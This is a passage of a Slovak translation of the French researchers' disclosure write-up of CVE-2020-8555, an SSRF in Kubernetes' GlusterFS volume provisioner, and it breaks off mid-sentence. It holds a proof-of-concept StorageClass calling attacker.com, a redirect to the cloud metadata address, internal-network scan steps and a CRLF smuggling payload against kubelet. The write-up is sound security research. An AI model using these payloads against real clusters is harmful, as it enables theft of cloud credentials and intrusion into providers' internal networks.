{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sk\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Ke\u010f nejde len o zranite\u013enos\u0165 v Kubernetes\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Pozn. prekl.<\/b>: autori tohto \u010dl\u00e1nku podrobne hovoria o tom, ako sa im podarilo objavi\u0165 zranite\u013enos\u0165 <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> v Kubernetes. Hoci p\u00f4vodne nevyzerala ve\u013emi nebezpe\u010dne, v kombin\u00e1cii s in\u00fdmi faktormi sa jej kritickos\u0165 u niektor\u00fdch poskytovate\u013eov cloudu prejavila ako maxim\u00e1lna. Za vykonan\u00fa pr\u00e1cu odborn\u00edkov bolo \u0161tedro odmenen\u00fdch nieko\u013eko organiz\u00e1ci\u00ed.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Ke\u010f nejde len o zranite\u013enos\u0165 v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Kto sme<\/h2>\n<p>\nSme dvaja franc\u00fazski bezpe\u010dnostn\u00ed v\u00fdskumn\u00edci, ktor\u00ed spolo\u010dne objavili zranite\u013enos\u0165 v Kubernetes. Vol\u00e1me sa Brice Augras a Christophe Hauquiert, ale na mnoh\u00fdch platform\u00e1ch Bug Bounty sme zn\u00e1mi ako Reeverzax a Hach.<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 architekt Kubernetes v Noki.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>\u010co sa stalo?<\/h2>\n<p>\nTento \u010dl\u00e1nok je na\u0161\u00edm sp\u00f4sobom, ako poveda\u0165, ako sa be\u017en\u00fd v\u00fdskumn\u00fd projekt ne\u010dakane zmenil na jedno z najzauj\u00edmavej\u0161\u00edch dobrodru\u017estiev v \u017eivote lovcov na bugy (aspo\u0148 zatia\u013e).<\/p>\n<p>Ako u\u017e pravdepodobne viete, lovci na bugy maj\u00fa nieko\u013eko pozoruhodn\u00fdch vlastnost\u00ed:<\/p>\n<ul>\n<li> \u017eij\u00fa na pizz\u00e1ch a pive;<\/li>\n<li> pracuj\u00fa, ke\u010f ostatn\u00ed spia.<\/li>\n<\/ul>\n<p>\nNie sme v\u00fdnimkou z t\u00fdchto pravidiel: zvy\u010dajne sa stret\u00e1vame cez v\u00edkendy a tr\u00e1vime bezsenn\u00e9 hackersk\u00e9 noci. Ale jedna z tak\u00fdchto noc\u00ed sa skon\u010dila ve\u013emi neobvykle.<\/p>\n<p>P\u00f4vodne sme sa mali stretn\u00fa\u0165, aby sme prediskutovali \u00fa\u010das\u0165 na <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> na druh\u00fd de\u0148. Po\u010das rozhovoru o bezpe\u010dnosti Kubernetes v spravovanej servisnej oblasti sme si spomenuli na star\u00fd n\u00e1pad SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) a rozhodli sme sa vysk\u00fa\u0161a\u0165 ho ako \u00fatokov\u00fd sc\u00e9nar.<\/p>\n<p>O 11 ve\u010der sme sa pustili do v\u00fdskumu a i\u0161li sme spa\u0165 skoro r\u00e1no, ve\u013emi spokojn\u00ed s v\u00fdsledkami. V\u010faka t\u00fdmto v\u00fdskumom sme narazili na program MSRC Bug Bounty a vymysleli exploit na eskal\u00e1ciu privil\u00e9gi\u00ed.<\/p>\n<p>Ubehlo nieko\u013eko t\u00fd\u017ed\u0148ov\/mois a n\u00e1\u0161 ne\u010dakan\u00fd v\u00fdsledok umo\u017enil z\u00edska\u0165 jednu z najvy\u0161\u0161\u00edch odmien v hist\u00f3rii Azure Cloud Bug Bounty \u2014 okrem tej, ktor\u00fa sme z\u00edskali od Kubernetes!<\/p>\n<p>Na z\u00e1klade n\u00e1\u0161ho v\u00fdskumn\u00e9ho projektu zverejnil v\u00fdbor Kubernetes Product Security Committee <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Teraz by sme chceli \u010do najviac roz\u0161\u00edri\u0165 inform\u00e1cie o n\u00e1jdenej zranite\u013enosti. D\u00fafame, \u017ee ocen\u00edte n\u00e1lez a zdie\u013eate technick\u00e9 podrobnosti s \u010fal\u0161\u00edmi \u010dlenmi infosec komunity!<\/p>\n<p>Tak\u017ee, tu je n\u00e1\u0161 pr\u00edbeh\u2026<\/p>\n<h2>Kontext<\/h2>\n<p>\nAby sme \u010do najpresnej\u0161ie preniesli zmysel toho, \u010do sa stalo, po\u010fme sa najprv pozrie\u0165 na to, ako Kubernetes funguje v prostred\u00ed spravovanej slu\u017eby v oblaku.<\/p>\n<p>Ke\u010f vytvor\u00edte in\u0161tanciu klastra Kubernetes v takomto prostred\u00ed, obvykle sa o pr\u00e1cu riadiacej vrstvy star\u00e1 poskytovate\u013e cloudov\u00fdch slu\u017eieb:<\/p>\n<p><img decoding=\"async\" alt=\"Ke\u010f nejde len o zranite\u013enos\u0165 v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Riadiaca vrstva sa nach\u00e1dza na okraji cloudov\u00e9ho poskytovate\u013ea, zatia\u013e \u010do uzly Kubernetes s\u00fa na okraji klienta.<\/i><\/p>\n<p>Na dynamick\u00e9 prira\u010fovanie objemov sa pou\u017e\u00edva mechanizmus ich dynamick\u00e9ho poskytovania z extern\u00e9ho \u00falo\u017en\u00e9ho backendu a prira\u010fovania k PVC (persistent volume claim, teda po\u017eiadavke na objem).<\/p>\n<p>Tak\u017ee po vytvoren\u00ed PVC a jeho priraden\u00ed ku StorageClass v klastri K8s preber\u00e1 \u010fal\u0161ie kroky poskytovanie objemu kube\/cloud controller manager (jeho presn\u00fd n\u00e1zov z\u00e1vis\u00ed od verzie). <i>(<b>Pozn. prekl.<\/b>: O CCM na pr\u00edklade jeho implement\u00e1cie pre jedn\u00e9ho z poskytovate\u013eov cloudov\u00fdch slu\u017eieb sme u\u017e p\u00edsali. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">tu<\/a><\/noindex>.)<\/i><\/p>\n<p>Existuje nieko\u013eko typov provisionerov podporovan\u00fdch Kubernetes: v\u00e4\u010d\u0161ina z nich je zahrnut\u00e1 v <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">jadre orchestr\u00e1tora,<\/a><\/noindex>, a in\u00e9 spravuj\u00fa dodato\u010dn\u00e9 provisionery, ktor\u00e9 s\u00fa umiestnen\u00e9 v podoch v klastru.<\/p>\n<p>Vo svojom v\u00fdskume sme sa zamerali na vn\u00fatorn\u00fd mechanizmus poskytovania objemov, ktor\u00fd je zn\u00e1zornen\u00fd ni\u017e\u0161ie:<\/p>\n<p><img decoding=\"async\" alt=\"Ke\u010f nejde len o zranite\u013enos\u0165 v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Dynamick\u00e9 poskytovanie objemov pomocou vstavan\u00e9ho provisionera Kubernetes<\/i><\/p>\n<p>Stru\u010dne povedan\u00e9, ke\u010f je Kubernetes nasaden\u00fd v spravovanom prostred\u00ed, za pr\u00e1cu controller managera zodpoved\u00e1 poskytovate\u013e cloudov\u00fdch slu\u017eieb, ale po\u017eiadavka na vytvorenie objemu (\u010d\u00edslo 3 na vy\u0161\u0161ie uvedenom sch\u00e9me) op\u00fa\u0161\u0165a hranice vn\u00fatornej siete poskytovate\u013ea cloudu. A tu sa situ\u00e1cia st\u00e1va naozaj zauj\u00edmavou!<\/p>\n<h2>Scen\u00e1r \u00fatoku.<\/h2>\n<p>\nV tejto \u010dasti v\u00e1m uk\u00e1\u017eeme, ako sme vyu\u017eili vy\u0161\u0161ie spomenut\u00fd pracovn\u00fd postup a z\u00edskali pr\u00edstup k vn\u00fatorn\u00fdm zdrojom poskytovate\u013ea cloudov\u00fdch slu\u017eieb. Okrem toho uk\u00e1\u017eeme, ako je mo\u017en\u00e9 vykon\u00e1va\u0165 ur\u010dit\u00e9 akcie \u2014 napr\u00edklad z\u00edska\u0165 vn\u00fatorn\u00e9 prihlasovacie \u00fadaje alebo vykona\u0165 eskal\u00e1ciu privil\u00e9gi\u00ed.<\/p>\n<p>Jedna jednoduch\u00e1 manipul\u00e1cia (v tomto pr\u00edpade ide o Service Side Request Forgery) pomohla prekona\u0165 hranice klientsk\u00e9ho prostredia v klastroch r\u00f4znych poskytovate\u013eov slu\u017eieb spravovan\u00e9ho K8s.<\/p>\n<p>Vo svojich v\u00fdskumoch sme sa zamerali na provisioner GlusterFS. Napriek tomu, \u017ee \u010fal\u0161\u00ed postup je pop\u00edsan\u00fd v takomto kontexte, touto zranite\u013enos\u0165ou s\u00fa ohrozen\u00e9 aj Quobyte, StorageOS a ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"Ke\u010f nejde len o zranite\u013enos\u0165 v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Zneu\u017eitie mechanizmu dynamick\u00e9ho poskytovania objemov<\/i><\/p>\n<p>Po\u010das anal\u00fdzy triedy \u00falo\u017e\u00edsk <b>GlusterFS<\/b> v klientoch na Golang sme <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">si v\u0161imli<\/a><\/noindex>, pri prvom HTTP dopyte (3), poslanom po\u010das vytv\u00e1rania objemu, na konci pou\u017e\u00edvate\u013esk\u00e9ho URL v parametri <code>resturl<\/code> pridan\u00e9 <code>\/volumes<\/code>.<\/p>\n<p>Tento nadbyto\u010dn\u00fd cestu sme sa rozhodli eliminova\u0165 pridan\u00edm <code>#<\/code> do parametra <code>resturl<\/code>. Toto je prv\u00e1 YAML konfigur\u00e1cia, ktor\u00fa sme pou\u017eili na testovanie \u201epoloslep\u00e9ho\u201c SSRF zranite\u013enosti <i>(viac o semi-blind alebo half-blind SSRF sa d\u00e1 pre\u010d\u00edta\u0165 napr\u00edklad, <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">tu<\/a><\/noindex> \u2014 pozn. prekl.)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nPotom pri dia\u013ekovom ovl\u00e1dan\u00ed klasteru Kubernetes sme pou\u017eili bin\u00e1rku <b>kubectl<\/b>. Zvy\u010dajne cloudov\u00ed poskytovatelia (Azure, Google, AWS a pod.) umo\u017e\u0148uj\u00fa z\u00edska\u0165 poverenia na ich pou\u017eitie v tomto n\u00e1stroji.<\/p>\n<p>V\u010faka tomu sa podarilo pou\u017ei\u0165 n\u00e1\u0161 \u201e\u0161peci\u00e1lny\u201c s\u00fabor. Kube-controller-manager vykonal v\u00fdsledn\u00fd HTTP dopyt:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Ke\u010f nejde len o zranite\u013enos\u0165 v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Odpove\u010f z poh\u013eadu \u00fato\u010dn\u00edka<\/i><\/p>\n<p>Netrvalo dlho a tie\u017e sme dok\u00e1zali z\u00edska\u0165 HTTP odpove\u010f od cie\u013eov\u00e9ho servera \u2014 cez pr\u00edkazy <code>describe pvc<\/code> alebo <code>get events<\/code> v kubectl. A naozaj: tento Kubernetes ovl\u00e1da\u010d je predvolene pr\u00edli\u0161 slovn\u00fd vo svojich varovaniach\/chybov\u00fdch hl\u00e1seniach...<\/p>\n<p>Tu je pr\u00edklad s odkazom na <code>https:\/\/www.google.fr<\/code>, nastaven\u00fdm ako parameter <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# alebo m\u00f4\u017eete pou\u017ei\u0165 kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Ke\u010f nejde len o zranite\u013enos\u0165 v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nV r\u00e1mci tak\u00e9ho pr\u00edstupu sme boli obmedzen\u00ed na dopyty typu <b>HTTP POST<\/b> a nedok\u00e1zali sme z\u00edska\u0165 obsah tela odpovede, ak sa vr\u00e1ten\u00fd k\u00f3d bol <b>201<\/b>. Preto sme sa rozhodli vykona\u0165 dodato\u010dn\u00e9 v\u00fdskumy a roz\u0161\u00edrili tento scen\u00e1r hackovania nov\u00fdmi pr\u00edstupmi.<\/p>\n<h2>Evol\u00facia na\u0161ich v\u00fdskumov<\/h2>\n<p><\/p>\n<ul>\n<li> Pokro\u010dil\u00fd scen\u00e1r \u010d. 1: vyu\u017eitie 302 presmerovania z extern\u00e9ho servera na zmenu HTTP met\u00f3dy s cie\u013eom z\u00edska\u0165 flexibilnej\u0161\u00ed sp\u00f4sob zhroma\u017e\u010fovania intern\u00fdch \u00fadajov.<\/li>\n<li> Pokro\u010dil\u00fd scen\u00e1r \u010d. 2: automatiz\u00e1cia skenovania LAN a zis\u0165ovania intern\u00fdch zdrojov.<\/li>\n<li> Pokro\u010dil\u00fd scen\u00e1r \u010d. 3: pou\u017eitie HTTP CRLF + smuggling (\"pa\u0161ovanie\" po\u017eiadaviek) na vytvorenie prisp\u00f4soben\u00fdch HTTP po\u017eiadaviek a z\u00edskanie \u00fadajov extrahovan\u00fdch z logov kube-controller.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Technick\u00e9 \u0161pecifik\u00e1cie<\/h3>\n<p><\/p>\n<ul>\n<li> V \u0161t\u00fadi\u00e1ch sa pou\u017e\u00edval Azure Kubernetes Service (AKS) s Kubernetes verziou 1.12 v regi\u00f3ne Severn\u00e1 Eur\u00f3pa.<\/li>\n<li> Op\u00edsan\u00e9 vy\u0161\u0161ie scen\u00e1re sa vykon\u00e1vali na posledn\u00fdch vydaniach Kubernetes, s v\u00fdnimkou tretieho scen\u00e1ra, preto\u017ee potreboval Kubernetes zostaven\u00fd s Golang verziou \u2264 1.12.<\/li>\n<li> Extern\u00fd server \u00fato\u010dn\u00edka \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Pokro\u010dil\u00fd scen\u00e1r \u010d. 1: presmerovanie HTTP po\u017eiadavky POST na GET a z\u00edskavanie citliv\u00fdch \u00fadajov<\/h3>\n<p>\nP\u00f4vodn\u00fd sp\u00f4sob bol vylep\u0161en\u00fd konfigur\u00e1ciou servera \u00fato\u010dn\u00edka na vr\u00e1tenie <b>302 HTTP Retcode<\/b>, aby sa konvertovala po\u017eiadavka POST na po\u017eiadavku GET (krok 4 na sch\u00e9me):<\/p>\n<p><img decoding=\"async\" alt=\"Ke\u010f nejde len o zranite\u013enos\u0165 v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nPrv\u00e1 po\u017eiadavka (3), vych\u00e1dzaj\u00faca od klienta <b>GlusterFS<\/b> (Controller Manager), m\u00e1 typ POST. Po vykonan\u00ed nasleduj\u00facich krokov sme ho mohli zmeni\u0165 na GET:<\/p>\n<ul>\n<li> Ako parameter <code>resturl<\/code> v StorageClass sa uv\u00e1dza <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> Endpoint <code>https:\/\/attacker.com\/redirect.php<\/code> odpoved\u00e1 status-k\u00f3dom 302 HTTP s nasleduj\u00facim hlavi\u010dkov\u00fdm umiestnen\u00edm: <code>http:\/\/169.254.169.254<\/code>. M\u00f4\u017ee to by\u0165 ak\u00fdko\u013evek in\u00fd intern\u00fd zdroj \u2014 v tomto pr\u00edpade sa redirect-odkaz pou\u017e\u00edva v\u00fdlu\u010dne ako pr\u00edklad.<\/li>\n<li> Predvolene <b>kni\u017enica net\/http<\/b> Golang presmerov\u00e1va po\u017eiadavku a konvertuje POST na GET so status-k\u00f3dom 302, v d\u00f4sledku \u010doho na cie\u013eov\u00fd zdroj pr\u00edde HTTP po\u017eiadavka GET.<\/li>\n<\/ul>\n<p>\nAby ste si pre\u010d\u00edtali telo HTTP odpovede, mus\u00edte vykona\u0165 <code>describe<\/code> objekt PVC:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc xxx<\/code><\/pre>\n<p>\nTu je pr\u00edklad HTTP odpovede vo form\u00e1te JSON, ktor\u00fa sa n\u00e1m podarilo z\u00edska\u0165:<\/p>\n<p><img decoding=\"async\" alt=\"Ke\u010f nejde len o zranite\u013enos\u0165 v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nMo\u017enosti zistenej zranite\u013enosti v tom \u010dase boli obmedzen\u00e9 kv\u00f4li nasleduj\u00facim faktorom:<\/p>\n<ul>\n<li> Nemo\u017enos\u0165 vlo\u017ei\u0165 HTTP hlavi\u010dky do odch\u00e1dzaj\u00facej po\u017eiadavky.<\/li>\n<li> Nemo\u017enos\u0165 vykon\u00e1va\u0165 POST po\u017eiadavku s parametrami v tele (takto je pohodln\u00e9 \u017eiada\u0165 hodnotu k\u013e\u00fa\u010da od in\u0161tancie etcd, ktor\u00e1 be\u017e\u00ed na <b>2379<\/b> porte, ak sa pou\u017e\u00edva nezabezpe\u010den\u00fd HTTP).<\/li>\n<li> Nemo\u017enos\u0165 z\u00edska\u0165 obsah tela odpovede, ke\u010f bol stavov\u00fd k\u00f3d 200 a odpove\u010f nemala JSON Content-Type.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Pokro\u010dil\u00fd scen\u00e1r \u010d. 2: skenovanie lok\u00e1lnej siete<\/h3>\n<p>\nT\u00e1to met\u00f3da half-blind SSRF sa potom pou\u017e\u00edvala na skenovanie vn\u00fatornej siete poskytovate\u013ea cloudov\u00fdch slu\u017eieb a prieskum r\u00f4znych po\u010d\u00favaj\u00facich slu\u017eieb (in\u0161tancia Metadata, Kubelet, etcd at\u010f.) na z\u00e1klade odpoved\u00ed <b>kube controllera<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Ke\u010f nejde len o zranite\u013enos\u0165 v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nNajprv boli identifikovan\u00e9 \u0161tandardn\u00e9 po\u010d\u00favacie porty komponentov Kubernetes (8443, 10250, 10251 at\u010f.) a potom bolo potrebn\u00e9 automatizova\u0165 proces skenovania.<\/p>\n<p>Ke\u010f\u017ee pr\u00edslu\u0161n\u00fd sp\u00f4sob skenovania zdrojov je ve\u013emi \u0161pecifick\u00fd a nie je kompatibiln\u00fd s klasick\u00fdmi skenerami a SSRF n\u00e1strojmi, rozhodli sme sa vytvori\u0165 vlastn\u00fdch workerov v bash skripte, ktor\u00ed automatizuj\u00fa cel\u00fd proces.<\/p>\n<p>Napr\u00edklad, aby sme r\u00fdchlej\u0161ie preskenovali rozsah 172.16.0.0\/12 vn\u00fatornej siete, bolo spusten\u00fdch 15 workerov s\u00fa\u010dasne. Vy\u0161\u0161ie uveden\u00fd rozsah IP bol vybran\u00fd v\u00fdhradne ako pr\u00edklad a m\u00f4\u017ee by\u0165 zmenen\u00fd na IP rozsah konkr\u00e9tneho poskytovate\u013ea slu\u017eieb.<\/p>\n<p>Na skenovanie jedn\u00e9ho IP adresy a jedn\u00e9ho portu je potrebn\u00e9 vykona\u0165 nasleduj\u00face kroky:<\/p>\n<ul>\n<li> odstr\u00e1ni\u0165 overen\u00fd StorageClass z predch\u00e1dzaj\u00faceho \u010dasu;<\/li>\n<li> odstr\u00e1ni\u0165 predch\u00e1dzaj\u00faci overen\u00fd Persistent Volume Claim;<\/li>\n<li> zmeni\u0165 hodnoty IP a Port v <code>sc.yaml<\/code>;<\/li>\n<li> vytvori\u0165 StorageClass s nov\u00fdm IP a portom;<\/li>\n<li> vytvori\u0165 nov\u00fd PVC;<\/li>\n<li> extrahova\u0165 v\u00fdsledky skenovania pomocou describe pre PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Pokro\u010dil\u00fd scen\u00e1r \u010d. 3: injekcia CRLF + smuggling HTTP v 'star\u00fdch' verzi\u00e1ch klastru Kubernetes<\/h3>\n<p>\nAk poskytovate\u013e navy\u0161e pon\u00fakal klientom star\u00e9 verzie klastru K8s <b>a<\/b> otvoril im pr\u00edstup k logom kube-controller-manager\u2019a, efekt bol e\u0161te v\u00fdraznej\u0161\u00ed.<\/p>\n<p>\u00dato\u010dn\u00edkovi je naozaj ove\u013ea pohodlnej\u0161ie meni\u0165 pod\u013ea vlastn\u00e9ho uv\u00e1\u017eenia HTTP po\u017eiadavky ur\u010den\u00e9 na z\u00edskanie \u00faplnej HTTP odpovede.<\/p>\n<p><img decoding=\"async\" alt=\"Ke\u010f nejde len o zranite\u013enos\u0165 v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nNa realiz\u00e1ciu tohto posledn\u00e9ho scen\u00e1ra museli by\u0165 splnen\u00e9 nasleduj\u00face podmienky:<\/p>\n<ul>\n<li> Pou\u017e\u00edvate\u013e mus\u00ed ma\u0165 pr\u00edstup k logom kube-controller-manager (ako napr\u00edklad v Azure LogInsights).<\/li>\n<li> Klast Kubernetes mus\u00ed pou\u017e\u00edva\u0165 verziu Golang ni\u017e\u0161iu ako 1.12.<\/li>\n<\/ul>\n<p>\nNasadili sme lok\u00e1lne prostredie, ktor\u00e9 simuluje v\u00fdmenu d\u00e1t medzi Go klientom GlusterFS a falo\u0161n\u00fdm cie\u013eov\u00fdm serverom (pre zatia\u013e sa zdr\u017eujeme zverejnenia PoC).<\/p>\n<p>Bola objaven\u00e1 <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">zranite\u013enos\u0165<\/a><\/noindex>, ktor\u00e1 sa t\u00fdka verzi\u00ed Golang ni\u017e\u0161\u00edch ako 1.12 a umo\u017e\u0148ovala hackerom vykon\u00e1va\u0165 \u00fatoky typu HTTP smuggling\/CRLF.<\/p>\n<p>Spojen\u00edm vy\u0161\u0161ie uveden\u00e9ho half-blind SSRF <b>spolu<\/b> s touto, sme mohli posiela\u0165 po\u017eiadavky pod\u013ea vlastn\u00e9ho v\u00fdberu, vr\u00e1tane v\u00fdmeny hlavi\u010diek, met\u00f3dy HTTP, parametrov a d\u00e1t, ktor\u00e9 kube-controller-manager potom spracoval.<\/p>\n<p>Tu je pr\u00edklad funguj\u00facej 'n\u00e1vnady' v parametri <code>resturl<\/code> StorageClass, ktor\u00e1 realizuje podobn\u00fd scen\u00e1r \u00fatoku:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1rnConnection: keep-\nalivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET \/pods? HTTP\/1.1rnHost: 172.31.X.1:10255rnrn<\/code><\/pre>\n<p>\nV d\u00f4sledku toho vznik\u00e1 chyba <b>unsolicited response<\/b>, spr\u00e1va, ktor\u00e1 sa zapisuje do logov kontrol\u00e9ra. V\u010faka predvolenej \u201epodrobnosti\u201c sa tam uchov\u00e1va aj obsah odpovedaj\u00facej HTTP spr\u00e1vy.<\/p>\n<p><img decoding=\"async\" alt=\"Ke\u010f nejde len o zranite\u013enos\u0165 v Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nToto bola na\u0161a naj\u00faspe\u0161nej\u0161ia \u201en\u00e1vnada\u201c v r\u00e1mci proof of concept.<\/p>\n<p>Pou\u017eit\u00edm tak\u00e9ho pr\u00edstupu sme dok\u00e1zali vykona\u0165 niektor\u00e9 z nasleduj\u00facich \u00fatokov v klastri r\u00f4znych poskytovate\u013eov spravovan\u00fdch k8s: eskal\u00e1cia opr\u00e1vnen\u00ed z\u00edskan\u00edm poveren\u00ed na metadata in\u0161tanci\u00e1ch, DoS majstra prostredn\u00edctvom (ne\u0161ifrovan\u00fdch) HTTP po\u017eiadaviek na majstrovsk\u00fdch in\u0161tanci\u00e1ch etcd a pod.<\/p>\n<h2>D\u00f4sledky<\/h2>\n<p>\nV ofici\u00e1lnom vyhl\u00e1sen\u00ed Kubernetes sa k n\u00e1mi objavenej zranite\u013enosti SSRF pridelil hodnotenie <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Ak sa zameriame len na zranite\u013enos\u0165 s\u00favisiacu s perif\u00e9riou Kubernetes, integra\u010dn\u00fd vektor <i>(integrity vector)<\/i> sa posudzuje ako <b>None<\/b>.<\/p>\n<p>Av\u0161ak hodnotenie mo\u017en\u00fdch n\u00e1sledkov v kontexte spravovan\u00e9ho slu\u017eobn\u00e9ho prostredia (a to bola najzauj\u00edmavej\u0161ia \u010das\u0165 na\u0161ej \u0161t\u00fadie!) n\u00e1s povzbudilo na prekvalifikovanie zranite\u013enosti na hodnotenie <b>Critical CVSS 10\/10<\/b> pre mnoh\u00fdch distributorov.<\/p>\n<p>Ni\u017e\u0161ie n\u00e1jdete \u010fal\u0161ie inform\u00e1cie, ktor\u00e9 pom\u00f4\u017eu pochopi\u0165, ak\u00fdmi faktormi sme sa riadili pri hodnoten\u00ed mo\u017en\u00fdch n\u00e1sledkov v cloudov\u00fdch prostrediach:<\/p>\n<h3>Integrita<\/h3>\n<p><\/p>\n<ul>\n<li> Dia\u013ekov\u00e9 vykon\u00e1vanie pr\u00edkazov pomocou z\u00edskan\u00fdch intern\u00fdch poveren\u00ed.<\/li>\n<li> Reprodukcia vy\u0161\u0161ie op\u00edsan\u00e9ho scen\u00e1ra met\u00f3dou IDOR (Insecure Direct Object Reference, t.j. nezabezpe\u010den\u00fdmi priamymi odkazmi na objekty) s in\u00fdmi zdrojmi zisten\u00fdmi v lok\u00e1lnej sieti.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Ochrana s\u00fakromia<\/h3>\n<p><\/p>\n<ul>\n<li> \u00datok typu <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">Lateral Movement<\/a><\/noindex> v\u010faka kr\u00e1de\u017ei cloudov\u00fdch poveren\u00ed (napr\u00edklad metadata API).<\/li>\n<li> Zhroma\u017e\u010fovanie inform\u00e1ci\u00ed pomocou skenovania lok\u00e1lnej siete (identifik\u00e1cia verzie SSH, verzie HTTP servera, \u2026).<\/li>\n<li> Zhroma\u017e\u010fovanie inform\u00e1ci\u00ed o in\u0161tanci\u00e1ch a infra\u0161trukt\u00fare dotazovan\u00edm intern\u00fdch API, ako s\u00fa metadata API (<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Kr\u00e1de\u017e \u00fadajov z\u00e1kazn\u00edkov pomocou cloudov\u00fdch 